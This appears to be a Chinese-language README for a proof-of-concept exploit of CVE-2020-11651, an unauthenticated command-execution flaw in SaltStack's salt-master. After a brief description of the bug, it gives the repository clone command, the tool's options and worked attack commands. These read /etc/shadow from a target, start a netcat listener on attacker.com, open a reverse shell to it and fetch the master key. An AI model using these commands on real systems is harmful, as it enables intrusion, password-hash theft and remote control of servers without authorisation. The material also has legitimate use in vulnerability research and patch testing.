SaltStack Salt 在 2019.2.4 之前版本以及 3000 在 3000.2 之前版本中发现了一个问题。salt-master 进程中的 ClearFuncs 类未能正确验证方法调用。这允许远程用户在没有认证的情况下访问某些方法。这些方法可用于从 salt master 检索用户令牌,以及/或者在 salt minions 上执行任意命令。
补丁 适用于不受支持的 salt 版本
git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py
$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]
CVE-2020-11651 PoC
optional arguments:
-h, --help show this help message and exit
--host HOST, -t HOST
--port PORT, -p PORT
--execute COMMAND, -e COMMAND
Command to execute. Defaul: /bin/sh (use netcat for reverse shell)
--upload src dest, -u src dest
Upload a file
--download src dest, -d src dest
Download a file
--minions Send command to all minions on master
--quiet, -q Enable quiet/silent mode
--fetch-key-only Only fetch the key
./PoC.py --host target.com --download /etc/shadow ./shadow
nc -nvl attacker.com 9999
./PoC.py --host target.com --execute "nc attacker.com 9999 -e \"/bin/sh\""
./PoC.py --host target.com --fetch-key-only